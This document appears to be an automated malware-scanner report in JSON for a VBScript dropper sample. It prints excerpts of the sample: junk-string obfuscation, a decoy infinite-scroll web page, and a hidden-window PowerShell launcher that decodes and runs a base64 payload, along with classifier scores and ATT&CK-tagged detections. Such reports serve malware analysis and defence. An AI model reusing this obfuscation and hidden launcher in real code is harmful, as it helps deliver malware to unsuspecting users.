{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 1.0
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9922832,
        "class": 0
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 1.0,
    "analyzed_at": "2026-05-30T18:14:03Z"
  },
  "path": "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₃(AsCXe)H₂(Os₂Po₂)",
        "x": 76,
        "ff": {
          "m": {
            "file": {
              "size": 72116.0,
              "entropy": 4.58,
              "size_bytes": 72116.0
            },
            "text": {
              "digit_ratio": 0.01,
              "space_count": 2988.0,
              "total_lines": 434.0,
              "char_entropy": 4.58,
              "unique_chars": 92.0,
              "lines_over_200": 13.0,
              "lines_over_500": 10.0,
              "avg_line_length": 164.17,
              "lines_over_1000": 10.0,
              "max_line_length": 5396.0,
              "empty_line_ratio": 0.0,
              "last_line_length": 62.0,
              "long_token_count": 20.0,
              "whitespace_ratio": 0.05,
              "most_common_ratio": 0.15,
              "line_length_stddev": 804.04,
              "repeated_char_sequences": 10.0,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 48.0,
              "most_common_char_codepoint": 117.0
            }
          },
          "s": [
            [
              2,
              "u8",
              "On Error Resume Next"
            ],
            [
              27,
              "u8",
              "nanorobot = \"JyushgmemrnikjuuHyushgmemrnikjuuZyushgmemrnikjuuhyushgmemrnikjuuYyushgmemrnikjuu2yushgmemrnikjuulyushgmemrnikjuusyu"
            ],
            [
              5413,
              "u8",
              "nanorobot = nanorobot \u0026 \"nikjuuayushgmemrnikjuuWyushgmemrnikjuu5yushgmemrnikjuuhyushgmemrnikjuuIyushgmemrnikjuuDyushgmemrnikjuu0"
            ],
            [
              10811,
              "u8",
              "nanorobot = nanorobot \u0026 \"hgmemrnikjuuZyushgmemrnikjuuXyushgmemrnikjuuIyushgmemrnikjuutyushgmemrnikjuuQyushgmemrnikjuuWyushgmemrn"
            ],
            [
              16209,
              "u8",
              "nanorobot = nanorobot \u0026 \"uu4yushgmemrnikjuuMyushgmemrnikjuuDyushgmemrnikjuuEyushgmemrnikjuusyushgmemrnikjuuIyushgmemrnikjuuDyush"
            ],
            [
              21607,
              "u8",
              "nanorobot = nanorobot \u0026 \"mrnikjuupyushgmemrnikjuueyushgmemrnikjuuyyushgmemrnikjuuAyushgmemrnikjuukyushgmemrnikjuubyushgmemrnikju"
            ],
            [
              27005,
              "u8",
              "nanorobot = nanorobot \u0026 \"ushgmemrnikjuuzyushgmemrnikjuuPyushgmemrnikjuuSyushgmemrnikjuuRyushgmemrnikjuu0yushgmemrnikjuucyushgmem"
            ],
            [
              32403,
              "u8",
              "nanorobot = nanorobot \u0026 \"kjuuRyushgmemrnikjuupyushgmemrnikjuubyushgmemrnikjuu2yushgmemrnikjuu5yushgmemrnikjuuzyushgmemrnikjuuLyu"
            ],
            [
              37800,
              "u8",
              "nanorobot = nanorobot \u0026 \"gmemrnikjuuRyushgmemrnikjuuwyushgmemrnikjuuZyushgmemrnikjuuWyushgmemrnikjuu5yushgmemrnikjuuuyushgmemrni"
            ],
            [
              43197,
              "u8",
              "nanorobot = nanorobot \u0026 \"uuCyushgmemrnikjuudyushgmemrnikjuuByushgmemrnikjuuJyushgmemrnikjuuyyushgmemrnikjuukyushgmemrnikjuu7yush"
            ],
            [
              48594,
              "u8",
              "nanorobot = nanorobot \u0026 \"emrnikjuumyushgmemrnikjuulyushgmemrnikjuujyushgmemrnikjuuKyushgmemrnikjuuTyushgmemrnikjuusyushgmemrnikj"
            ],
            [
              53991,
              "u8",
              "nanorobot = Replace(nanorobot, \"yushgmemrnikjuu\", \"\")"
            ],
            [
              54046,
              "u8",
              "Set cashbox = CreateObject(\"WScript.Shell\")"
            ],
            [
              54091,
              "u8",
              "Dim qpChNoNb"
            ],
            [
              54105,
              "u8",
              "qpChNoNb=\"                        \"\u0026vbCrLf\u0026_"
            ],
            [
              54665,
              "u8",
              "\"    \u003ctitle\u003eInfinite Content Scrolling\u003c/title\u003e\" \u0026 vbCrLf \u0026 _"
            ],
            [
              54744,
              "u8",
              "\"\u003c!-- font awesome library include 4.7 --\u003e\" \u0026 vbCrLf \u0026 _"
            ],
            [
              55510,
              "u8",
              "\"@import IeJqWrUD('https://fonts.googleapis.com/css2?family=Inter:wght@400;700\u0026display=swap'); \" \u0026 vbCrLf \u0026 _"
            ],
            [
              55638,
              "u8",
              "\"/* default light theme */\" \u0026 vbCrLf \u0026 _"
            ],
            [
              55845,
              "u8",
              "\"  --primary-color: yushgmemrnikjuuf45b69;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              55903,
              "u8",
              "\"  --secondary-color:yushgmemrnikjuu456990;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              56167,
              "u8",
              "\"/* dark-mode theme */\" \u0026 vbCrLf \u0026 _"
            ],
            [
              56342,
              "u8",
              "\"/* main styles */\" \u0026 vbCrLf \u0026 _"
            ],
            [
              56436,
              "u8",
              "\"  /* background-color: var(--background-color); */\" \u0026 vbCrLf \u0026 _"
            ],
            [
              56980,
              "u8",
              "\"  transition: all 0.5s ease-in-out;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              57163,
              "u8",
              "\"  color: var(--secondary-color);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              58350,
              "u8",
              "\"  box-shadow: 0 2px 4px rgb(0 0 0 / 0.1);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              58895,
              "u8",
              "\".AFPSFwmF .card-item .card-QIOMmApr gaDzylax:last-child{\" \u0026 vbCrLf \u0026 _"
            ],
            [
              59133,
              "u8",
              "\"/* skeleton animation */\" \u0026 vbCrLf \u0026 _"
            ],
            [
              59733,
              "u8",
              "\".skeleton .card-QIOMmApr gaDzylax{\" \u0026 vbCrLf \u0026 _"
            ],
            [
              60036,
              "u8",
              "\"  animation: skeleton_animation 1s ease-in-out infinite;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              60144,
              "u8",
              "\".skeleton .card-QIOMmApr gaDzylax:nth-child(2){\" \u0026 vbCrLf \u0026 _"
            ],
            [
              60273,
              "u8",
              "\".skeleton .card-QIOMmApr gaDzylax:last-child{\" \u0026 vbCrLf \u0026 _"
            ],
            [
              60453,
              "u8",
              "\"@keyframes skeleton_animation {\" \u0026 vbCrLf \u0026 _"
            ],
            [
              61096,
              "u8",
              "\"  \u003c/section\u003e\" \u0026 vbCrLf \u0026 _"
            ],
            [
              61513,
              "u8",
              "\"Infinite QIOMmApr scrolling is a design pattern that continuously loads QIOMmApr as the user scrolls \" \u0026 vbCrLf \u0026 _"
            ],
            [
              61631,
              "u8",
              "\"towards the end of the tafFNTFO. It avoids pagination and increases user engagement. In this example, we have \" \u0026 vbCrLf \u0026 _"
            ],
            [
              61758,
              "u8",
              "\"an infinite amount of quotations that loads as you continuously scroll to the end.\" \u0026 vbCrLf \u0026 _"
            ],
            [
              61964,
              "u8",
              "\"const VekiPZNl = document.querySelector(\"\".TOIfbkbR\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              62852,
              "u8",
              "\"// set up intersection GSnbnkPk \" \u0026 vbCrLf \u0026 _"
            ],
            [
              63073,
              "u8",
              "\"let AQdtxAxf = (entries, GSnbnkPk) =\u003e {\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63215,
              "u8",
              "\"    if(entry.XNfobmcintersectionRatio \u003e= 1){\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63293,
              "u8",
              "\"      // update tafFNTFO\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63334,
              "u8",
              "\"      pWCMTZgv(tafFNTFO++);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63395,
              "u8",
              "\"      console.log(IeJqWrUD)\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63577,
              "u8",
              "\"      GSnbnkPk.unobserve(entry.target);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              63931,
              "u8",
              "\"    return new Promise((resolve, reject) =\u003e {\" \u0026 vbCrLf \u0026 _"
            ],
            [
              64161,
              "u8",
              "\"          response.json().then(res =\u003e {\" \u0026 vbCrLf \u0026 _"
            ],
            [
              64217,
              "u8",
              "\"            pgEfpxDn(res.data.length);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              64666,
              "u8",
              "\"  return await YThiPuBt(IeJqWrUD);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              64769,
              "u8",
              "\"// Loads a skeleton animations for each pending AFPSFwmF\" \u0026 vbCrLf \u0026 _"
            ],
            [
              64896,
              "u8",
              "\"  const jPIPJsrH = document.querySelector(\"\".AFPSFwmF\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65137,
              "u8",
              "\"      const qbURviyG = document.createElement(\"\"li\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65313,
              "u8",
              "\"      const QIOMmApr = document.createElement(\"\"div\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65563,
              "u8",
              "\"        const gaDzylax = document.createElement(\"\"gaDzylax\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65642,
              "u8",
              "\"        QIOMmApr.appendChild(gaDzylax);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65739,
              "u8",
              "\"      qbURviyG.appendChild(QIOMmApr);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65793,
              "u8",
              "\"      jPIPJsrH.appendChild(qbURviyG);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              65958,
              "u8",
              "\"// Remove skeleton animations on the AFPSFwmF \" \u0026 vbCrLf \u0026 _"
            ],
            [
              66086,
              "u8",
              "\"  const AFPSFwmF = document.querySelectorAll(\"\".skeleton\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              66163,
              "u8",
              "\"  const WLoGsyjp = AFPSFwmF.length - dataAmt;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              66225,
              "u8",
              "\"  const vGoJnhBZ = document.querySelector(\"\".AFPSFwmF\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              66390,
              "u8",
              "\"    vGoJnhBZ.lastChild.remove();  \" \u0026 vbCrLf \u0026 _"
            ],
            [
              67124,
              "u8",
              "\"  const AFPSFwmF = document.querySelectorAll(\"\".gaDzylaxending\"\");\" \u0026 vbCrLf \u0026 _"
            ],
            [
              67224,
              "u8",
              "\"  GSnbnkPk.observe(AFPSFwmF[AFPSFwmF.length - 1]);\" \u0026 vbCrLf \u0026 _"
            ],
            [
              67365,
              "u8",
              "\"    for(let XNfobmci = 0; XNfobmci \u003c AFPSFwmF.length; XNfobmci++){\" \u0026 vbCrLf \u0026 _"
            ],
            [
              67664,
              "u8",
              "\"      LKRgCSmu[1].textContent = data[XNfobmci].author;\" \u0026 vbCrLf \u0026 _"
            ],
            [
              68073,
              "u8",
              "\"\u003c/html\u003e\u003ca target='_blank' href='https://www.javascriptfreecode.com' style='font-size: 8pt; text-decoration: none'\u003eJavaScript Be"
            ],
            [
              68334,
              "u8",
              "scochon = \"yushgmemrnikjuu$nanorobotyushgmemrnikjuu='yushgmemrnikjuu\" \u0026 nanorobot \u0026 \"yushgmemrnikjuu';\""
            ],
            [
              68439,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu$NIAIDyushgmemrnikjuu=yushgmemrnikjuu\""
            ],
            [
              68515,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu[yushgmemrnikjuuSyushgmemrnikjuuyyushgmemrnikjuu\""
            ],
            [
              68602,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuusyushgmemrnikjuutyushgmemrnikjuueyushgmemrnikjuu\""
            ],
            [
              68689,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuumyushgmemrnikjuu.yushgmemrnikjuuTyushgmemrnikjuueyushgmemrnikjuu\""
            ],
            [
              68792,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuxyushgmemrnikjuutyushgmemrnikjuu.yushgmemrnikjuuEyushgmemrnikjuunyushgmemrnikjuucyushgmemrni"
            ],
            [
              68943,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuudyushgmemrnikjuuiyushgmemrnikjuunyushgmemrnikjuugyushgmemrnikjuu]yushgmemrnikjuu:yushgmemrni"
            ],
            [
              69078,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu:yushgmemrnikjuuUyushgmemrnikjuuTyushgmemrnikjuuFyushgmemrnikjuu8yushgmemrnikjuu\""
            ],
            [
              69197,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu.yushgmemrnikjuuGyushgmemrnikjuueyushgmemrnikjuutyushgmemrnikjuuSyushgmemrnikjuu\""
            ],
            [
              69316,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuutyushgmemrnikjuuryushgmemrnikjuuiyushgmemrnikjuunyushgmemrnikjuugyushgmemrnikjuu(yushgmemrni"
            ],
            [
              69451,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu[yushgmemrnikjuuSyushgmemrnikjuuyyushgmemrnikjuusyushgmemrnikjuutyushgmemrnikjuueyushgmemrni"
            ],
            [
              69602,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu.yushgmemrnikjuuCyushgmemrnikjuuoyushgmemrnikjuunyushgmemrnikjuuvyushgmemrnikjuueyushgmemrni"
            ],
            [
              69753,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuutyushgmemrnikjuu]yushgmemrnikjuu:yushgmemrnikjuu:yushgmemrnikjuuyushgmemrnikjuuFyushgmemrnik"
            ],
            [
              69935,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuByushgmemrnikjuuayushgmemrnikjuusyushgmemrnikjuueyushgmemrnikjuu6yushgmemrnikjuu\""
            ],
            [
              70054,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuu4yushgmemrnikjuuSyushgmemrnikjuutyushgmemrnikjuu\""
            ],
            [
              70141,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuryushgmemrnikjuuiyushgmemrnikjuunyushgmemrnikjuu\""
            ],
            [
              70228,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuugyushgmemrnikjuu(yushgmemrnikjuu$yushgmemrnikjuunanorobotyushgmemrnikjuu)yushgmemrnikjuu)yus"
            ],
            [
              70387,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuIyushgmemrnikjuunyushgmemrnikjuu\""
            ],
            [
              70458,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuvyushgmemrnikjuuoyushgmemrnikjuukyushgmemrnikjuueyushgmemrnikjuu-yushgmemrnikjuuEyushgmemrni"
            ],
            [
              70625,
              "u8",
              "scochon = scochon \u0026 \"yushgmemrnikjuuryushgmemrnikjuueyushgmemrnikjuusyushgmemrnikjuusyushgmemrnikjuuiyushgmemrnikjuuoyushgmemrni"
            ],
            [
              70813,
              "u8",
              "scochon = Replace(scochon, \"yushgmemrnikjuu\", \"\")"
            ],
            [
              70864,
              "u8",
              "butylammonium = \"yushgmemrnikjuupyushgmemrnikjuuoyushgmemrnikjuuwyushgmemrnikjuu\""
            ],
            [
              70947,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuueyushgmemrnikjuuryushgmemrnikjuusyushgmemrnikjuuhyushgmemrnikjuueyushgmemrnikjuu"
            ],
            [
              71078,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuulyushgmemrnikjuul yushgmemrnikjuu-yushgmemrnikjuuwyushgmemrnikjuu\""
            ],
            [
              71194,
              "u8",
              "butylammonium = butylammonium \u0026 \" yushgmemrnikjuuhyushgmemrnikjuuiyushgmemrnikjuudyushgmemrnikjuudyushgmemrnikjuueyushgmemrnikju"
            ],
            [
              71326,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuun yushgmemrnikjuu-yushgmemrnikjuunyushgmemrnikjuuoyushgmemrnikjuupyushgmemrnikju"
            ],
            [
              71458,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuuryushgmemrnikjuuoyushgmemrnikjuufyushgmemrnikjuuiyushgmemrnikjuu\""
            ],
            [
              71573,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuulyushgmemrnikjuue yushgmemrnikjuu-yushgmemrnikjuueyushgmemrnikjuu\""
            ],
            [
              71689,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuupyushgmemrnikjuu byushgmemrnikjuuyyushgmemrnikjuu\""
            ],
            [
              71789,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuupyushgmemrnikjuuayushgmemrnikjuusyushgmemrnikjuu\""
            ],
            [
              71888,
              "u8",
              "butylammonium = butylammonium \u0026 \"yushgmemrnikjuusyushgmemrnikjuu -yushgmemrnikjuucyushgmemrnikjuu \""
            ],
            [
              71989,
              "u8",
              "butylammonium = Replace(butylammonium, \"yushgmemrnikjuu\", \"\")"
            ]
          ],
          "v": {
            "file.stem": "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c",
            "file.basename": "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 72116,
        "ts": [
          {
            "c": 0.699999988079071,
            "d": "JavaScript file under 5KB",
            "e": [
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0x102b1",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0x10634",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0x10226",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0xf661",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0xff21",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0xfe71",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0x1001b",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0xf20c",
              "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs##plain@0xfd80"
            ],
            "i": "metadata/file/text/metrics::javascript-small-file-5k",
            "l": 1,
            "el": [
              "embedded@0x102b1:unknown",
              "embedded@0x10634:unknown",
              "embedded@0x10226:unknown",
              "embedded@0xf661:unknown",
              "embedded@0xff21:unknown",
              "embedded@0xfe71:unknown",
              "embedded@0x1001b:unknown",
              "embedded@0xf20c:unknown",
              "embedded@0xfd80:unknown"
            ]
          },
          {
            "c": 1.0,
            "d": "javascript code embedded in string",
            "e": [
              "Detected javascript at offset 0xf20c",
              "Detected javascript at offset 0x102b1",
              "Detected javascript at offset 0x10226",
              "Detected javascript at offset 0x1001b",
              "Detected javascript at offset 0xfd80",
              "Detected javascript at offset 0xfe71",
              "Detected javascript at offset 0xff21",
              "Detected javascript at offset 0x10634",
              "Detected javascript at offset 0xf661"
            ],
            "i": "metadata/lang/embedded::javascript",
            "l": 2,
            "el": [
              "embedded@0xf20c:0xf20c",
              "embedded@0x102b1:0x102b1",
              "embedded@0x10226:0x10226",
              "embedded@0x1001b:0x1001b",
              "embedded@0xfd80:0xfd80",
              "embedded@0xfe71:0xfe71",
              "embedded@0xff21:0xff21",
              "embedded@0x10634:0x10634",
              "embedded@0xf661:0xf661"
            ]
          },
          {
            "a": "T1059.005",
            "c": 0.75,
            "d": "WScript Run method",
            "e": [
              ".Run \""
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-run",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "Destructive delete verb",
            "e": [
              "Remove"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-destructive-delete-verb",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Generates HTML tags",
            "e": [
              "\u003chtml"
            ],
            "i": "micro-behaviors/data/format/html::html-generator-tags",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "Generates HTML content (DOCTYPE)",
            "e": [
              "\u003c!DOCTYPE html\u003e"
            ],
            "i": "micro-behaviors/data/format/html::html-generator-doctype",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.9200000166893005,
            "d": "WSH runs hidden window",
            "e": [
              ".Run \"\"\u0026 butylammonium \u0026\"\"\"\" \u0026 scochon \u0026 \"\"\"\", 0"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero",
            "l": 4
          },
          {
            "c": 0.699999988079071,
            "d": "WScript.Shell object reference",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "WSH creates shell object",
            "e": [
              "CreateObject(\"WScript.Shell\""
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-shell-create",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.8500000238418579,
            "d": "WScript.Shell object creation",
            "e": [
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 434.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 5396.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.05"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 10.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 164.17"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "a": "T1059.005",
            "c": 0.949999988079071,
            "d": "VBScript WScript.Shell launcher",
            "e": [
              ".Run \"",
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::vbs-powershell-launcher",
            "l": 3
          }
        ],
        "sha": "93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2025-08/93337273e3c9fa47a65b1402200fb454d1812c238df75d06e55565bbf20aee4c.vbs",
        "type": "vbs"
      }
    ],
    "tv": "ca5ef"
  }
}